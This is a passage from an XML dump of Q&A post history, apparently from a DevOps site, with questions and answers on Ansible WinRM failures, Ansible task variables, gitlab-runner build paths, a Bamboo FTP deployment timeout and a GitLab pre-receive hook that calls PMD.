is:&#xD;&#xA;&#xD;&#xA;    changed: [172.16.104.169] =&gt; (item=Dnscache)&#xD;&#xA;    failed: [172.16.104.176] (item=Dnscache) =&gt; {&quot;failed&quot;: true, &quot;item&quot;: &quot;Dnscache&quot;, &quot;module_stderr&quot;: &quot;Exception calling \&quot;Run\&quot; with \&quot;1\&quot; argument(s): \&quot;Exception calling \&quot;Invoke\&quot; with \r\n\&quot;0\&quot; argument(s): \&quot;The running command stopped because the preference variable \r\n\&quot;ErrorActionPreference\&quot; or common parameter is set to Stop: (0) : cannot open \r\nC:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RESB3FF.tmp for writing\r\n(1) : using System;\r\n\&quot;\&quot;\r\nAt line:45 char:1\r\n+ $output = $entrypoint.Run($payload)\r\n+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n+ CategoryInfo          : NotSpecified: (:) [], ParentContainsErrorRecordE \r\nxception\r\n+ FullyQualifiedErrorId : ScriptMethodRuntimeException\r\n&quot;, &quot;module_stdout&quot;: &quot;&quot;, &quot;msg&quot;: &quot;MODULE FAILURE&quot;, &quot;rc&quot;: 1}&#xD;&#xA;    changed: [172.16.104.141] =&gt; (item=Dnscache)&#xD;&#xA;    changed: [172.16.104.168] =&gt; (item=Dnscache)&#xD;&#xA;    changed: [172.16.104.145] =&gt; (item=Dnscache)&#xD;&#xA;&#xD;&#xA;Both issues are absolutely random and may even not appear at all over a sequence of different runs.&#xD;&#xA;&#xD;&#xA;Assistance would be greatly appreciated!" ContentLicense="CC BY-SA 3.0" />
  <row Id="3720" PostHistoryTypeId="5" PostId="1105" RevisionGUID="13801b3e-8ec1-482f-8fb8-f3d4b1464f36" CreationDate="2017-05-05T06:43:50.123" UserId="46" Comment="added 5 characters in body" Text="I'm running into some on and off issues when using windows hosts in my ansible playbooks. I'm running Ansible 2.3 with pywinrm 0.2.2 installed. I'm using basic authentication with the local Administrator user. Sometimes I receive this issue when I run a task:&#xD;&#xA;&#xD;&#xA;     [WARNING]: FATAL ERROR DURING FILE TRANSFER: Traceback (most recent call last):&#xD;&#xA;    File &quot;/usr/local/lib/python2.7/dist-packages/ansible/plugins/connection/winrm.py&quot;, line 267, in _winrm_exec&#xD;&#xA;      self._winrm_send_input(self.protocol, self.shell_id, command_id, data, eof=is_last)&#xD;&#xA;    File &quot;/usr/local/lib/python2.7/dist-packages/ansible/plugins/connection/winrm.py&quot;, line 248, in _winrm_send_input&#xD;&#xA;      protocol.send_message(xmltodict.unparse(rq))&#xD;&#xA;    File &quot;/usr/local/lib/python2.7/dist-packages/winrm/protocol.py&quot;, line 207, in send_message&#xD;&#xA;       return self.transport.send_message(message)&#xD;&#xA;    File &quot;/usr/local/lib/python2.7/dist-packages/winrm/transport.py&quot;, line 191, in send_message&#xD;&#xA;       raise WinRMTransportError('http', error_message) WinRMTransportError: (u'http', u'Bad HTTP response returned from server. Code 500')&#xD;&#xA;&#xD;&#xA;Other times, when I try to run a `win_shell/win_command/raw module` and `with_items` on a group of windows hosts it seems to fail on temporary files created by Ansible.&#xD;&#xA;&#xD;&#xA;The task I'm trying to run is:&#xD;&#xA;&#xD;&#xA;    - name: Check services up&#xD;&#xA;      win_command: 'sc queryex {{ item }} | Findstr RUNNING'&#xD;&#xA;      with_items: '{{ component_services }}'&#xD;&#xA;      register: command_result&#xD;&#xA;      ignore_errors: yes&#xD;&#xA;&#xD;&#xA;And the error I may get is:&#xD;&#xA;&#xD;&#xA;    changed: [172.16.104.169] =&gt; (item=Dnscache)&#xD;&#xA;    failed: [172.16.104.176] (item=Dnscache) =&gt; {&quot;failed&quot;: true, &quot;item&quot;: &quot;Dnscache&quot;, &quot;module_stderr&quot;: &quot;Exception calling \&quot;Run\&quot; with \&quot;1\&quot; argument(s): \&quot;Exception calling \&quot;Invoke\&quot; with \r\n\&quot;0\&quot; argument(s): \&quot;The running command stopped because the preference variable \r\n\&quot;ErrorActionPreference\&quot; or common parameter is set to Stop: (0) : cannot open \r\nC:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RESB3FF.tmp for writing\r\n(1) : using System;\r\n\&quot;\&quot;\r\nAt line:45 char:1\r\n+ $output = $entrypoint.Run($payload)\r\n+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n+ CategoryInfo          : NotSpecified: (:) [], ParentContainsErrorRecordE \r\nxception\r\n+ FullyQualifiedErrorId : ScriptMethodRuntimeException\r\n&quot;, &quot;module_stdout&quot;: &quot;&quot;, &quot;msg&quot;: &quot;MODULE FAILURE&quot;, &quot;rc&quot;: 1}&#xD;&#xA;    changed: [172.16.104.141] =&gt; (item=Dnscache)&#xD;&#xA;    changed: [172.16.104.168] =&gt; (item=Dnscache)&#xD;&#xA;    changed: [172.16.104.145] =&gt; (item=Dnscache)&#xD;&#xA;&#xD;&#xA;Both issues are absolutely random and may even not appear at all over a sequence of different runs.&#xD;&#xA;&#xD;&#xA;Assistance would be greatly appreciated!" ContentLicense="CC BY-SA 3.0" />
  <row Id="3722" PostHistoryTypeId="2" PostId="1110" RevisionGUID="88a6d1d7-aefe-4d39-91b3-68e0d3abf867" CreationDate="2017-05-05T07:09:20.313" UserId="46" Text="Example, I have 3 tasks, which are registered `ec21`, `ec22` and `ec23`.&#xD;&#xA;&#xD;&#xA;`ec22` runs when `ec21` fails, and `ec23` runs when `ec22` fails.&#xD;&#xA;&#xD;&#xA;Now, I have another task below it which is :&#xD;&#xA;&#xD;&#xA;    - name: Add new instance to host group&#xD;&#xA;      add_host:&#xD;&#xA;        hostname: &quot;{{ item.private_ip }}&quot;&#xD;&#xA;        groupname: launched&#xD;&#xA;      with_items: &quot;{{ ec2x.instances }}&quot;&#xD;&#xA;&#xD;&#xA;where `ec2x`is any of the previous tasks. &#xD;&#xA;&#xD;&#xA;So, how do I set `ec2x` here?  cause, **Any of my 3 tasks can run**. So, it can be `ec21` or `ec22` or `ec23`.  So, how do I dynamically write that in the adding task after them?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3723" PostHistoryTypeId="1" PostId="1110" RevisionGUID="88a6d1d7-aefe-4d39-91b3-68e0d3abf867" CreationDate="2017-05-05T07:09:20.313" UserId="46" Text="How do I dynamically take variables from previous plays in Ansible?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3724" PostHistoryTypeId="3" PostId="1110" RevisionGUID="88a6d1d7-aefe-4d39-91b3-68e0d3abf867" CreationDate="2017-05-05T07:09:20.313" UserId="46" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3725" PostHistoryTypeId="6" PostId="1102" RevisionGUID="4afa01b9-1fc1-48f9-b3f0-cd0bffbffb6c" CreationDate="2017-05-05T07:43:12.710" UserId="546" Comment="edited tags" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;jenkins-pipeline&gt;&lt;artifacts&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3726" PostHistoryTypeId="2" PostId="1111" RevisionGUID="0319aab3-a13f-497f-923f-19e0bbedc0ab" CreationDate="2017-05-05T09:48:21.497" UserId="2652" Text="It feels dirty, but I guess something like that would work:&#xD;&#xA;&#xD;&#xA;    - name: ec21&#xD;&#xA;      [...]&#xD;&#xA;      register: ec21_result&#xD;&#xA;    &#xD;&#xA;    - set_fact: end_result= &quot;{{ ec21_result }}&quot;&#xD;&#xA;      when: ec21_result|succeeded&#xD;&#xA;    &#xD;&#xA;    - name: ec22&#xD;&#xA;      [...]&#xD;&#xA;      register: ec22_result&#xD;&#xA;      when: ec21_result|failed&#xD;&#xA;    &#xD;&#xA;    - set_fact: end_result= &quot;{{ ec22_result }}&quot;&#xD;&#xA;      when: ec22_result|succeeded&#xD;&#xA;    &#xD;&#xA;    - name: ec23&#xD;&#xA;      [...]&#xD;&#xA;      register: ec23_result&#xD;&#xA;      when: ec22_result|failed&#xD;&#xA;    &#xD;&#xA;    - set_fact: end_result= &quot;{{ ec23_result }}&quot;&#xD;&#xA;      when: ec23_result|succeeded&#xD;&#xA;    &#xD;&#xA;    - name: Add new instance to host group&#xD;&#xA;      add_host:&#xD;&#xA;        hostname: &quot;{{ item.private_ip }}&quot;&#xD;&#xA;        groupname: launched&#xD;&#xA;      with_items: &quot;{{ end_result.instances }}&quot;&#xD;&#xA;&#xD;&#xA;Basically setting the `end_result` as soon as you succeed a play." ContentLicense="CC BY-SA 3.0" />
  <row Id="3727" PostHistoryTypeId="2" PostId="1112" RevisionGUID="1218774c-5010-4bc4-a164-c3b2d64ac65e" CreationDate="2017-05-05T12:36:50.143" UserId="2653" Text="I have a server pointed as ab12.xy24.com in which the projects are placed as:&#xD;&#xA;&#xD;&#xA;&gt; Path-1  &#xD;&#xA;&gt; /home/ab12/public_html/project1/*  &#xD;&#xA;&gt; /home/ab12/public_html/project2/*  &#xD;&#xA;&gt; ................................&#xD;&#xA;&gt; /home/ab12/public_html/projectn/{project-files}&#xD;&#xA;&#xD;&#xA;I am using gitlab-runner for CI and CD. The build is being built as:&#xD;&#xA;&#xD;&#xA;&gt; Path-2  &#xD;&#xA;&gt; /home/ab12/build/{runner-token}/{commit-id}/{group-name}/project1/{project-files}&#xD;&#xA;&gt; /home/ab12/build/{runner-token}/{commit-id}/{group-name}/project1/{project-files}&#xD;&#xA;&#xD;&#xA;I want the build path to be as in Path-1 style instead of path-2 style.&#xD;&#xA;&#xD;&#xA;What i have tried?&#xD;&#xA;&#xD;&#xA;1. I tried changing the `build_path=&quot;path1&quot;` variable which only changed&#xD;&#xA;&#xD;&#xA;&gt; /home/ab12/build/{runner-token}/{commit-id}/{group-name}/project1/{project-files} &#xD;&#xA; &#xD;&#xA;to&#xD;&#xA;   &#xD;&#xA;&gt; /home/ab12/path1/{runner-token}/{commit-id}/{group-name}/project1/{project-files}&#xD;&#xA;&#xD;&#xA;I cannot also use docker as due to its virtualization concept and takes much space, which is not desired." ContentLicense="CC BY-SA 3.0" />
  <row Id="3728" PostHistoryTypeId="1" PostId="1112" RevisionGUID="1218774c-5010-4bc4-a164-c3b2d64ac65e" CreationDate="2017-05-05T12:36:50.143" UserId="2653" Text="changing the build intermediate paths for gitlab-runner" ContentLicense="CC BY-SA 3.0" />
  <row Id="3729" PostHistoryTypeId="3" PostId="1112" RevisionGUID="1218774c-5010-4bc4-a164-c3b2d64ac65e" CreationDate="2017-05-05T12:36:50.143" UserId="2653" Text="&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3730" PostHistoryTypeId="5" PostId="1112" RevisionGUID="0a7d8cf9-9d3f-4d1a-87f4-b4996cfc88bc" CreationDate="2017-05-05T12:37:53.870" UserId="46" Comment="added 40 characters in body" Text="I have a server pointed as ab12.xy24.com in which the projects are placed as:&#xD;&#xA;&#xD;&#xA;     Path-1  &#xD;&#xA;     /home/ab12/public_html/project1/*  &#xD;&#xA;     /home/ab12/public_html/project2/*  &#xD;&#xA;     ................................&#xD;&#xA;     /home/ab12/public_html/projectn/{project-files}&#xD;&#xA;&#xD;&#xA;I am using gitlab-runner for CI and CD. The build is being built as:&#xD;&#xA;&#xD;&#xA;     Path-2  &#xD;&#xA;     /home/ab12/build/{runner-token}/{commit-id}/{group-name}/project1/{project-files}&#xD;&#xA;     /home/ab12/build/{runner-token}/{commit-id}/{group-name}/project1/{project-files}&#xD;&#xA;&#xD;&#xA;I want the build path to be as in Path-1 style instead of path-2 style.&#xD;&#xA;&#xD;&#xA;What have I tried?&#xD;&#xA;&#xD;&#xA;1. I tried changing the `build_path=&quot;path1&quot;` variable which only changed&#xD;&#xA;&#xD;&#xA;    /home/ab12/build/{runner-token}/{commit-id}/{group name}/project1/{project-files}&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;     /home/ab12/path1/{runner-token}/{commit-id}/{group-name}/project1/{project-files}&#xD;&#xA;&#xD;&#xA;I cannot also use docker as due to its virtualization concept and takes much space, which is not desired.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3732" PostHistoryTypeId="2" PostId="1113" RevisionGUID="3f91511d-b032-4cb6-bed6-eefe46258726" CreationDate="2017-05-05T15:07:47.083" UserId="2655" Text="I have a Bamboo plan that uses a custom ANT task to FTP files across the firewall to our Production server.  Below is its configuration&#xD;&#xA;&#xD;&#xA;    &lt;target name=&quot;ftp-files&quot; description=&quot;FTP File Update&quot;&gt;&#xD;&#xA;      &lt;echo message=&quot;Sync(ftp) ${build.src} to ${target}&quot;/&gt;&#xD;&#xA;&#xD;&#xA;      &lt;ftp action=&quot;put&quot;&#xD;&#xA;        server=&quot;${server}&quot;&#xD;&#xA;        remotedir=&quot;${target}&quot;&#xD;&#xA;        userid=&quot;subDomain\DeployerServiceAccount&quot;&#xD;&#xA;        password=&quot;secretPassword&quot;&#xD;&#xA;        depends=&quot;yes&quot;&#xD;&#xA;        passive=&quot;yes&quot;&#xD;&#xA;        verbose=&quot;yes&quot;&#xD;&#xA;      &gt;&#xD;&#xA;        &lt;fileset dir=&quot;${build.src}&quot;&gt;&#xD;&#xA;          &lt;include name=&quot;**&quot; /&gt;&#xD;&#xA;        &lt;/fileset&gt;&#xD;&#xA;      &lt;/ftp&gt;&#xD;&#xA;    &lt;/target&gt;&#xD;&#xA;&#xD;&#xA;When the plan runs, it is able to establish a connection and it starts to PUT files on the target server fine however, it gets stuck on a few files.  This is the error we get:&#xD;&#xA;&#xD;&#xA;    04-May-2017 11:28:57        [ftp] try #1: IO error (path\to\file.ext), number of maximum retries reached (0), giving up&#xD;&#xA;    04-May-2017 11:28:57  &#xD;&#xA;    04-May-2017 11:28:57  BUILD FAILED&#xD;&#xA;    04-May-2017 11:28:57  g:\path\to\BambooAntTasks\FtpDeploy.xml:24: error during FTP transfer: java.net.SocketTimeoutException: Read timed out&#xD;&#xA;&#xD;&#xA;I tried increasing the number of retries to 6, it did not help. As far as I can tell, there appears to be nothing wrong with these files.  I am able to open them, and the user, `DeployerServiceAccount` has access to them.  They already existed on the target so they were deployed at least once before.  Either way, that's usually not a problem they just get overwritten.  They were not open on the source and their properties (including access rights) were identical to other files that did transfer.&#xD;&#xA;&#xD;&#xA;We have a number of plans that use the same task and work well.  The only difference is that those other plans we tend to run more often, and deploy code.  This particular plan deploys mostly binaries consisting of a few XML documents which configure a presentation made up of images and PDFs.&#xD;&#xA;&#xD;&#xA;The FTP Server is configured using IIS and I am able to manually connect to it and upload files these very same files using the same account the plan uses `DeployerServiceAccount` and it works just fine.  It is also worth mentioning, we have been using the same plan for years.  One recent change is we migrated the servers.  That broke the plan, but  I already addressed that issue.  The other change is that we have up our security policies quite a bit.  I am not from that team so I am not 100% on these but some of those changes interrupt software installations i.e. SQL Server or any software that attempts to connect to the internet during installation.&#xD;&#xA;&#xD;&#xA;Any answer or lead to an answer will be greatly appreciated.&#xD;&#xA;&#xD;&#xA;thanks in advance," ContentLicense="CC BY-SA 3.0" />
  <row Id="3733" PostHistoryTypeId="1" PostId="1113" RevisionGUID="3f91511d-b032-4cb6-bed6-eefe46258726" CreationDate="2017-05-05T15:07:47.083" UserId="2655" Text="Bamboo (ANT task): Why does FTP work for some files but not others?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3734" PostHistoryTypeId="3" PostId="1113" RevisionGUID="3f91511d-b032-4cb6-bed6-eefe46258726" CreationDate="2017-05-05T15:07:47.083" UserId="2655" Text="&lt;bamboo&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3735" PostHistoryTypeId="5" PostId="1113" RevisionGUID="59f3c7f9-5024-4dd5-b5c5-6f3f7a8ec674" CreationDate="2017-05-05T15:17:28.580" UserId="14" Comment="Syntax highlighting" Text="I have a Bamboo plan that uses a custom ANT task to FTP files across the firewall to our Production server.  Below is its configuration&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-xml --&gt;&#xD;&#xA;&#xD;&#xA;    &lt;target name=&quot;ftp-files&quot; description=&quot;FTP File Update&quot;&gt;&#xD;&#xA;      &lt;echo message=&quot;Sync(ftp) ${build.src} to ${target}&quot;/&gt;&#xD;&#xA;&#xD;&#xA;      &lt;ftp action=&quot;put&quot;&#xD;&#xA;        server=&quot;${server}&quot;&#xD;&#xA;        remotedir=&quot;${target}&quot;&#xD;&#xA;        userid=&quot;subDomain\DeployerServiceAccount&quot;&#xD;&#xA;        password=&quot;secretPassword&quot;&#xD;&#xA;        depends=&quot;yes&quot;&#xD;&#xA;        passive=&quot;yes&quot;&#xD;&#xA;        verbose=&quot;yes&quot;&#xD;&#xA;      &gt;&#xD;&#xA;        &lt;fileset dir=&quot;${build.src}&quot;&gt;&#xD;&#xA;          &lt;include name=&quot;**&quot; /&gt;&#xD;&#xA;        &lt;/fileset&gt;&#xD;&#xA;      &lt;/ftp&gt;&#xD;&#xA;    &lt;/target&gt;&#xD;&#xA;&#xD;&#xA;When the plan runs, it is able to establish a connection and it starts to PUT files on the target server fine however, it gets stuck on a few files.  This is the error we get:&#xD;&#xA;&#xD;&#xA;    04-May-2017 11:28:57        [ftp] try #1: IO error (path\to\file.ext), number of maximum retries reached (0), giving up&#xD;&#xA;    04-May-2017 11:28:57  &#xD;&#xA;    04-May-2017 11:28:57  BUILD FAILED&#xD;&#xA;    04-May-2017 11:28:57  g:\path\to\BambooAntTasks\FtpDeploy.xml:24: error during FTP transfer: java.net.SocketTimeoutException: Read timed out&#xD;&#xA;&#xD;&#xA;I tried increasing the number of retries to 6, it did not help. As far as I can tell, there appears to be nothing wrong with these files.  I am able to open them, and the user, `DeployerServiceAccount` has access to them.  They already existed on the target so they were deployed at least once before.  Either way, that's usually not a problem they just get overwritten.  They were not open on the source and their properties (including access rights) were identical to other files that did transfer.&#xD;&#xA;&#xD;&#xA;We have a number of plans that use the same task and work well.  The only difference is that those other plans we tend to run more often, and deploy code.  This particular plan deploys mostly binaries consisting of a few XML documents which configure a presentation made up of images and PDFs.&#xD;&#xA;&#xD;&#xA;The FTP Server is configured using IIS and I am able to manually connect to it and upload files these very same files using the same account the plan uses `DeployerServiceAccount` and it works just fine.  It is also worth mentioning, we have been using the same plan for years.  One recent change is we migrated the servers.  That broke the plan, but  I already addressed that issue.  The other change is that we have up our security policies quite a bit.  I am not from that team so I am not 100% on these but some of those changes interrupt software installations i.e. SQL Server or any software that attempts to connect to the internet during installation.&#xD;&#xA;&#xD;&#xA;Any answer or lead to an answer will be greatly appreciated." ContentLicense="CC BY-SA 3.0" />
  <row Id="3736" PostHistoryTypeId="2" PostId="1114" RevisionGUID="4029868f-c1d4-422f-b3e3-6ff80a86b600" CreationDate="2017-05-05T17:21:07.223" UserId="1073" Text="We have a pre-receive hook script in a bash shell script that enforces commits with messages having the right ticket number in a pre-defined format. We also have a separate python script that can be called in the pre-receive hook bash script to call PMD to statically analyze source code in a branch that developers push to the target remote branch.&#xD;&#xA;&#xD;&#xA;Prior to now, we have been using the pre-receive bash script for validating our development process with respect to our Gitlab server issue tickets.&#xD;&#xA;&#xD;&#xA;I have recently attempted to call the python script in the bash script in such a way that our ticketing and milestone validations are done before calling up PMD to expose source code that does not meet the standard. This did not work in that order, so I decided to call the python script to run PMD before the ticket validations. This also resulted in only the python script running alone without calling the rest of the bash script code.&#xD;&#xA;&#xD;&#xA;I will appreciate any help. Please kindly find the source code of the pre-receive bash script for when I tried calling python/PMD first. Kindly point me to how I can call the python last after the ticket validations.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #&#xD;&#xA;    # pre-receive hook for Commit Check&#xD;&#xA;    #&#xD;&#xA;    COMPANY_EMAIL=&quot;mycorp.org&quot;&#xD;&#xA;    &#xD;&#xA;    readonly PROGNAME=$(basename $0)&#xD;&#xA;    readonly PROGDIR=$(readlink -m $(dirname $0))&#xD;&#xA;    IS_MERGE=0&#xD;&#xA;    &#xD;&#xA;    check_single_commit()&#xD;&#xA;    {&#xD;&#xA;      COMMIT_CHECK_STATUS=1&#xD;&#xA;        echo &quot;Repo &gt;&gt; $REPOSITORY_BASENAME&quot;&#xD;&#xA;    &#xD;&#xA;        if [[ &quot;$COMMIT_MESSAGE&quot; == &quot;Merge branch&quot;* ]] || [[ &quot;$COMMIT_MESSAGE&quot; == &quot;WIP MI&quot;* ]]; then&#xD;&#xA;          COMMIT_CHECK_STATUS=0&#xD;&#xA;          IS_MERGE=1&#xD;&#xA;        else&#xD;&#xA;        workFlowResult=`java -jar -Dspring.config.location=/home/gitlab/gitlab_custom_hooks/application.properties /home/gitlab/gitlab_custom_hooks/gitlab-tool.jar -prercv &quot;$COMMIT_AUTHOR&quot; &quot;$COMMIT_MESSAGE&quot; &quot;$REPOSITORY_BASENAME&quot;`&#xD;&#xA;        echo &quot;COMMIT_AUTHOR=$COMMIT_AUTHOR, COMMIT_MESSAGE=$COMMIT_MESSAGE, REPOSITORY_BASE=$REPOSITORY_BASENAME&quot;&#xD;&#xA;    &#xD;&#xA;          echo &quot; &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; $workFlowResult &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&quot; &gt;&amp;2&#xD;&#xA;        if [[ &quot;$workFlowResult&quot; == *&quot;PRE_RECEIVE_OK&quot;* ]]; then&#xD;&#xA;          echo &quot; &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; $workFlowResult &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&quot; &gt;&amp;2&#xD;&#xA;          COMMIT_CHECK_STATUS=0&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    check_all_commits()&#xD;&#xA;    {&#xD;&#xA;      REVISIONS=$(git rev-list $OLD_REVISION..$NEW_REVISION)&#xD;&#xA;      IFS='\n' read -ra LIST_OF_REVISIONS &lt;&lt;&lt; &quot;$REVISIONS&quot;&#xD;&#xA;    if [ $(git rev-parse --is-bare-repository) = true ]&#xD;&#xA;    then&#xD;&#xA;        REPOSITORY_BASENAME=$(basename &quot;$PWD&quot;)&#xD;&#xA;    else&#xD;&#xA;        REPOSITORY_BASENAME=$(basename $(readlink -nf &quot;$PWD&quot;/..))&#xD;&#xA;    fi&#xD;&#xA;        echo REPOSITORY_BASENAME is $REPOSITORY_BASENAME&#xD;&#xA;        REPOSITORY_BASENAME=$(basename &quot;$PWD&quot;)&#xD;&#xA;        REPOSITORY_BASENAME=${REPOSITORY_BASENAME%.git}&#xD;&#xA;    &#xD;&#xA;      for rid in &quot;${!LIST_OF_REVISIONS[@]}&quot;; do&#xD;&#xA;        REVISION=${LIST_OF_REVISIONS[rid]}&#xD;&#xA;        COMMIT_MESSAGE=$(git cat-file commit $REVISION | sed '1,/^$/d')&#xD;&#xA;        COMMIT_AUTHOR=$(git cat-file commit $REVISION | grep committer | sed 's/^.* \([^@ ]\+@[^ ]\+\) \?.*$/\1/' | sed 's/&lt;//' | sed 's/&gt;//' | sed 's/@$COMPANY_EMAIL//')&#xD;&#xA;        check_single_commit&#xD;&#xA;    &#xD;&#xA;        if [ &quot;$COMMIT_CHECK_STATUS&quot; != &quot;0&quot; ]; then&#xD;&#xA;          echo &quot;Commit validation failed for commit $REVISION&quot; &gt;&amp;2&#xD;&#xA;          exit 1&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;      done&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    echo &quot;Checking the coding style, coding standards and look out for potential issues&quot;&#xD;&#xA;    &#xD;&#xA;    if python /home/gitlab/gitlab_custom_hooks/pmd-policy.py; then&#xD;&#xA;       echo &quot;PMD_CHECK_OK&quot;&#xD;&#xA;       PMD_CHECK_STATUS=0&#xD;&#xA;    &#xD;&#xA;      # Get custom commit message format&#xD;&#xA;    	while read OLD_REVISION NEW_REVISION REFNAME ; do&#xD;&#xA;    		check_all_commits&#xD;&#xA;    	done&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    	exit 0&#xD;&#xA;    &#xD;&#xA;    else&#xD;&#xA;    &#xD;&#xA;      echo &quot;PMD_CHECK_FAILED: Review your Code and fix the issues&quot;&#xD;&#xA;      exit 1&#xD;&#xA;      &#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Below is the code for the python script that calls PMD last commit to a branch at the Gitlab server.&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env python&#xD;&#xA;    &#xD;&#xA;    import subprocess&#xD;&#xA;    import sys&#xD;&#xA;    import tempfile&#xD;&#xA;    import shutil&#xD;&#xA;    import os&#xD;&#xA;    import errno&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    pmd = '/home/gitlab/gitlab_custom_hooks/pmd-bin-5.5.4/bin/run.sh'&#xD;&#xA;    &#xD;&#xA;    # implementing check_output for python &lt; 2.7&#xD;&#xA;    if not hasattr(subprocess, 'check_output'):&#xD;&#xA;        def check_output(*popenargs, **kwargs):&#xD;&#xA;            if 'stdout' in kwargs:&#xD;&#xA;                raise ValueError('stdout argument not allowed, it will be overridden.')&#xD;&#xA;            process = subprocess.Popen(stdout=subprocess.PIPE, *popenargs, **kwargs)&#xD;&#xA;            output, unused_err = process.communicate()&#xD;&#xA;            retcode = process.poll()&#xD;&#xA;            if retcode:&#xD;&#xA;                cmd = kwargs.get(&quot;args&quot;)&#xD;&#xA;                if cmd is None:&#xD;&#xA;                    cmd = popenargs[0]&#xD;&#xA;                er = subprocess.CalledProcessError(retcode, cmd)&#xD;&#xA;                er.output = output&#xD;&#xA;                raise er&#xD;&#xA;            return output&#xD;&#xA;        subprocess.check_output = check_output&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # helper for calling executables&#xD;&#xA;    def call(*args, **kwargs):&#xD;&#xA;        return subprocess.check_output(*args, **kwargs).strip()&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # helper for calling git&#xD;&#xA;    def call_git(cmd, *args, **kwargs):&#xD;&#xA;        return call(['git'] + cmd, *args, **kwargs)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # get all new commits from stdin&#xD;&#xA;    def get_commits():&#xD;&#xA;        commits = {}&#xD;&#xA;        for line in sys.stdin:&#xD;&#xA;            old, new, ref = line.strip().split(' ')&#xD;&#xA;            if old == '0000000000000000000000000000000000000000':&#xD;&#xA;                old = '4b825dc642cb6eb9a060e54bf8d69288fbee4904'&#xD;&#xA;    &#xD;&#xA;            if ref not in commits:&#xD;&#xA;                commits[ref] = []&#xD;&#xA;            commits[ref].append({&#xD;&#xA;                'old': old,&#xD;&#xA;                'new': new,&#xD;&#xA;                'files': get_changed_files(old, new)&#xD;&#xA;                })&#xD;&#xA;    &#xD;&#xA;        return commits&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # get a list of changed files between to commits&#xD;&#xA;    def get_changed_files(old, new):&#xD;&#xA;        return call_git(['diff', '--name-only', old, new]).split('\n')&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # get filemode, object type (blob,tree,commit), hash for the given file at the&#xD;&#xA;    # given commit&#xD;&#xA;    def get_change_type(commit, filename):&#xD;&#xA;        return call_git(['ls-tree', commit, filename]).split('\t')[0].split(' ')&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    commits = get_commits()&#xD;&#xA;    &#xD;&#xA;    # use the latest file commit only&#xD;&#xA;    print &quot;Cleaning up file list...&quot;&#xD;&#xA;    &#xD;&#xA;    files = {}&#xD;&#xA;    count = 0&#xD;&#xA;    for ref, data in commits.iteritems():&#xD;&#xA;        files[ref] = {}&#xD;&#xA;        for commit in data:&#xD;&#xA;            for filename in commit['files']:&#xD;&#xA;                if not filename.lower().endswith('.java'): continue&#xD;&#xA;                files[ref][filename] = get_change_type(commit['new'], filename)&#xD;&#xA;        count += len(files[ref])&#xD;&#xA;    &#xD;&#xA;    print &quot;%d Files to check in %d branches&quot; % (count, len(files))&#xD;&#xA;    &#xD;&#xA;    # create temporary dir and save a copy of the new files&#xD;&#xA;    tempdir = tempfile.mkdtemp('git_hook')&#xD;&#xA;    for ref, files in files.iteritems():&#xD;&#xA;        for filename, data in files.iteritems():&#xD;&#xA;            dname = os.path.dirname(filename)&#xD;&#xA;            bname = os.path.basename(filename)&#xD;&#xA;            try:&#xD;&#xA;                os.makedirs(os.path.join(tempdir, dname))&#xD;&#xA;            except OSError, exc:&#xD;&#xA;                if exc.errno == errno.EEXIST:  # directory exists already&#xD;&#xA;                    pass&#xD;&#xA;                else:&#xD;&#xA;                    raise&#xD;&#xA;    &#xD;&#xA;            with open(os.path.join(tempdir, dname, bname), 'w') as fp:&#xD;&#xA;                fp.write(call_git(['cat-file', data[1], data[2]]))&#xD;&#xA;    &#xD;&#xA;    try:&#xD;&#xA;        # call checkstyle and/or pmd and print output&#xD;&#xA;        print call([pmd, 'pmd', '-d', tempdir, '-f', 'text', '-R', 'rulesets/java/basic.xml,rulesets/java/unusedcode.xml,rulesets/java/imports.xml,rulesets/java/strings.xml,rulesets/java/braces.xml,rulesets/java/clone.xml,rulesets/java/design.xml,rulesets/java/clone.xml,rulesets/java/finalizers.xml,rulesets/java/junit.xml,rulesets/java/migrating.xml,rulesets/java/optimizations.xml,rulesets/java/strictexception.xml,rulesets/java/sunsecure.xml,rulesets/java/typeresolution.xml'])&#xD;&#xA;        print 